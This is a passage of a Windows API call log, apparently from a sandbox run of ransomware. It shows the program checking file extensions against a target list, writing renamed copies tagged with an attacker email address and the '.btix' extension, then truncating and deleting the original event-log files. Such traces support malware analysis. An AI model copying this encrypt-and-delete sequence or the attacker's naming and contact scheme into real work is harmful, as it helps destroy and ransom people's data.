CloseHandle (hObject=0x2e0) returned 1 [0049.271] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0049.271] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1 [0049.280] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0049.280] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0049.280] lstrlenW (lpString=".doc") returned 4 [0049.280] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.280] lstrlenW (lpString=".docx") returned 5 [0049.280] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.280] lstrlenW (lpString=".pdf") returned 4 [0049.280] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.280] lstrlenW (lpString=".xls") returned 4 [0049.280] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.280] lstrlenW (lpString=".xlsx") returned 5 [0049.280] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.280] lstrlenW (lpString=".ppt") returned 4 [0049.280] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.280] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0049.280] lstrlenW (lpString=".zip") returned 4 [0049.280] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.281] lstrlenW (lpString=".rar") returned 4 [0049.281] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.281] lstrlenW (lpString=".bz2") returned 4 [0049.281] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.281] lstrlenW (lpString=".7z") returned 3 [0049.281] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0049.281] lstrlenW (lpString=".dbf") returned 4 [0049.281] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0049.281] lstrlenW (lpString=".1cd") returned 4 [0049.281] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0049.281] lstrlenW (lpString=".jpg") returned 4 [0049.281] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0049.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0049.281] lstrlenW (lpString=".doc") returned 4 [0049.281] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.281] lstrlenW (lpString=".docx") returned 5 [0049.281] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.281] lstrlenW (lpString=".pdf") returned 4 [0049.281] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.281] lstrlenW (lpString=".xls") returned 4 [0049.281] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.281] lstrlenW (lpString=".xlsx") returned 5 [0049.281] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.281] lstrlenW (lpString=".ppt") returned 4 [0049.281] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0049.281] lstrlenW (lpString=".zip") returned 4 [0049.281] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.281] lstrlenW (lpString=".rar") returned 4 [0049.282] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.282] lstrlenW (lpString=".bz2") returned 4 [0049.282] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.282] lstrlenW (lpString=".7z") returned 3 [0049.282] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0049.282] lstrlenW (lpString=".dbf") returned 4 [0049.282] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0049.282] lstrlenW (lpString=".1cd") returned 4 [0049.282] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0049.282] lstrlenW (lpString=".jpg") returned 4 [0049.282] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.282] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0049.282] lstrlenW (lpString="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 78 [0049.282] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0049.283] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=1052672) returned 1 [0049.284] CloseHandle (hObject=0x358) returned 1 [0049.284] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20 [0049.284] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.285] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0049.285] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.285] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.285] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.285] GetLastError () returned 0x0 [0049.285] ReadFile (in: hFile=0x36c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0049.350] WriteFile (in: hFile=0x308, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0049.369] ReadFile (in: hFile=0x36c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x1010, lpOverlapped=0x0) returned 1 [0049.376] WriteFile (in: hFile=0x308, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x1020, lpOverlapped=0x0) returned 1 [0049.379] ReadFile (in: hFile=0x36c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.379] WriteFile (in: hFile=0x308, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x170, lpOverlapped=0x0) returned 1 [0049.379] SetEndOfFile (hFile=0x308) returned 1 [0049.379] CloseHandle (hObject=0x308) returned 1 [0049.626] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.626] SetEndOfFile (hFile=0x36c) returned 1 [0049.627] CloseHandle (hObject=0x36c) returned 1 [0049.627] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0049.627] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 1 [0049.628] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0049.628] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0049.628] lstrlenW (lpString=".doc") returned 4 [0049.628] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.628] lstrlenW (lpString=".docx") returned 5 [0049.628] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.628] lstrlenW (lpString=".pdf") returned 4 [0049.628] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.628] lstrlenW (lpString=".xls") returned 4 [0049.628] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.628] lstrlenW (lpString=".xlsx") returned 5 [0049.628] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.628] lstrlenW (lpString=".ppt") returned 4 [0049.628] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.628] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0049.628] lstrlenW (lpString=".zip") returned 4 [0049.628] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.628] lstrlenW (lpString=".rar") returned 4 [0049.629] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.629] lstrlenW (lpString=".bz2") returned 4 [0049.629] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.629] lstrlenW (lpString=".7z") returned 3 [0049.629] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.629] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0049.629] lstrlenW (lpString=".dbf") returned 4 [0049.629] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.629] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0049.629] lstrlenW (lpString=".1cd") returned 4 [0049.629] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.629] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0049.629] lstrlenW (lpString=".jpg") returned 4 [0049.629] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.629] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0049.629] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0049.629] lstrlenW (lpString=".doc") returned 4 [0049.629] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.629] lstrlenW (lpString=".docx") returned 5 [0049.629] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.629] lstrlenW (lpString=".pdf") returned 4 [0049.629] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.629] lstrlenW (lpString=".xls") returned 4 [0049.629] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.629] lstrlenW (lpString=".xlsx") returned 5 [0049.630] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.630] lstrlenW (lpString=".ppt") returned 4 [0049.630] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.630] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0049.630] lstrlenW (lpString=".zip") returned 4 [0049.630] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.630] lstrlenW (lpString=".rar") returned 4 [0049.630] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.630] lstrlenW (lpString=".bz2") returned 4 [0049.630] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.630] lstrlenW (lpString=".7z") returned 3 [0049.630] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.630] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0049.630] lstrlenW (lpString=".dbf") returned 4 [0049.630] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.630] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0049.630] lstrlenW (lpString=".1cd") returned 4 [0049.630] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.630] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0049.630] lstrlenW (lpString=".jpg") returned 4 [0049.630] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.630] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0049.631] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 54 [0049.631] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0049.631] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0049.631] CloseHandle (hObject=0x36c) returned 1 [0049.631] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20 [0049.631] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.631] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0049.631] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.631] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.631] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.632] GetLastError () returned 0x0 [0049.632] ReadFile (in: hFile=0x36c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0049.683] WriteFile (in: hFile=0x308, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0049.684] ReadFile (in: hFile=0x36c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.684] WriteFile (in: hFile=0x308, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x140, lpOverlapped=0x0) returned 1 [0049.684] SetEndOfFile (hFile=0x308) returned 1 [0049.685] CloseHandle (hObject=0x308) returned 1 [0049.686] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.686] SetEndOfFile (hFile=0x36c) returned 1 [0049.687] CloseHandle (hObject=0x36c) returned 1 [0049.688] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0049.688] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1 [0049.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0049.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0049.688] lstrlenW (lpString=".doc") returned 4 [0049.688] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.688] lstrlenW (lpString=".docx") returned 5 [0049.688] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.688] lstrlenW (lpString=".pdf") returned 4 [0049.688] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.688] lstrlenW (lpString=".xls") returned 4 [0049.688] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.688] lstrlenW (lpString=".xlsx") returned 5 [0049.688] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.688] lstrlenW (lpString=".ppt") returned 4 [0049.688] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0049.689] lstrlenW (lpString=".zip") returned 4 [0049.689] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.689] lstrlenW (lpString=".rar") returned 4 [0049.689] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.689] lstrlenW (lpString=".bz2") returned 4 [0049.689] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.689] lstrlenW (lpString=".7z") returned 3 [0049.689] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0049.689] lstrlenW (lpString=".dbf") returned 4 [0049.689] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0049.689] lstrlenW (lpString=".1cd") returned 4 [0049.689] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0049.689] lstrlenW (lpString=".jpg") returned 4 [0049.689] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0049.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0049.689] lstrlenW (lpString=".doc") returned 4 [0049.689] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.689] lstrlenW (lpString=".docx") returned 5 [0049.689] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.689] lstrlenW (lpString=".pdf") returned 4 [0049.689] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.689] lstrlenW (lpString=".xls") returned 4 [0049.689] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.689] lstrlenW (lpString=".xlsx") returned 5 [0049.689] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.689] lstrlenW (lpString=".ppt") returned 4 [0049.689] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0049.689] lstrlenW (lpString=".zip") returned 4 [0049.689] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.689] lstrlenW (lpString=".rar") returned 4 [0049.690] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.690] lstrlenW (lpString=".bz2") returned 4 [0049.690] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.690] lstrlenW (lpString=".7z") returned 3 [0049.690] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0049.690] lstrlenW (lpString=".dbf") returned 4 [0049.690] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0049.690] lstrlenW (lpString=".1cd") returned 4 [0049.690] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0049.690] lstrlenW (lpString=".jpg") returned 4 [0049.690] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.690] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0049.690] lstrlenW (lpString="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 43 [0049.690] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0049.690] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0049.690] CloseHandle (hObject=0x36c) returned 1 [0049.690] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20 [0049.690] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.691] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0049.691] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.691] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.691] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.691] GetLastError () returned 0x0 [0049.691] ReadFile (in: hFile=0x36c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0049.825] WriteFile (in: hFile=0x308, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0049.827] ReadFile (in: hFile=0x36c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.827] WriteFile (in: hFile=0x308, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x12a, lpOverlapped=0x0) returned 1 [0049.827] SetEndOfFile (hFile=0x308) returned 1 [0049.827] CloseHandle (hObject=0x308) returned 1 [0049.829] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.829] SetEndOfFile (hFile=0x36c) returned 1 [0049.830] CloseHandle (hObject=0x36c) returned 1 [0049.830] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0049.830] DeleteFileW 